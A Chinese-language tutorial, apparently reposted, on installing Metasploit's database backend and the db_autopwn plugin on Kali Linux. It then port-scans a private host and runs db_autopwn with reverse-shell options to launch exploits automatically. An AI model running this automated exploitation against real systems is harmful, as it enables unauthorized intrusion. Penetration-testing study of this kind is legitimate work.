【總結】Metasploit自動攻擊模塊


環境:kali-linux-2017.3-vm-amd64

一、安裝postgresql數據庫

apt-get install postgresql

apt-get install rubygems libpq-dev

apt-get install libreadline-dev

apt-get install libssl-dev

apt-get install libpq5

apt-get install ruby-dev

apt-get install libpq-dev

直接全部copy到kali中執行即可

二、自動配置數據庫

service postgres start           啟動服務

msfdb init                           自動創建數據庫、用戶、密碼

 

三、手動配置數據庫

passwd postgres 修改postgresql數據庫密碼

 

su postgres    進入數據庫

createuser hello –P       創建用戶hello,並設置密碼

createdb --owner=hello db_hello      給用戶hello創建一個數據庫db_hello

psql db_hello        進入db_hello數據庫

 

四、安裝db_autopwn.rb模塊

cd /usr/share/metasploit-framework/plugins   定位到msf插件目錄

git clone https://github.com/hahwul/metasploit-db_autopwn.git  安裝db_autopwn

 

cd metasploit-db_autopwn

mv db_autopwn.rb /usr/share/metasploit-framework/plugins

打開msfconsole,查看db_autopwn是否安裝成功,執行如下命令:

load db_autopwn         出現下圖結果說明安裝成功

 

五、借助db_autopwn進行自動加載模塊進行攻擊

msfconsole

use auxiliary/scanner/portscan/tcp     調用tcp掃描模塊

set rhosts 192.168.1.28

set threads 10

exploit

 

自動加載模塊

db_autopwn –t –p –r –e

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM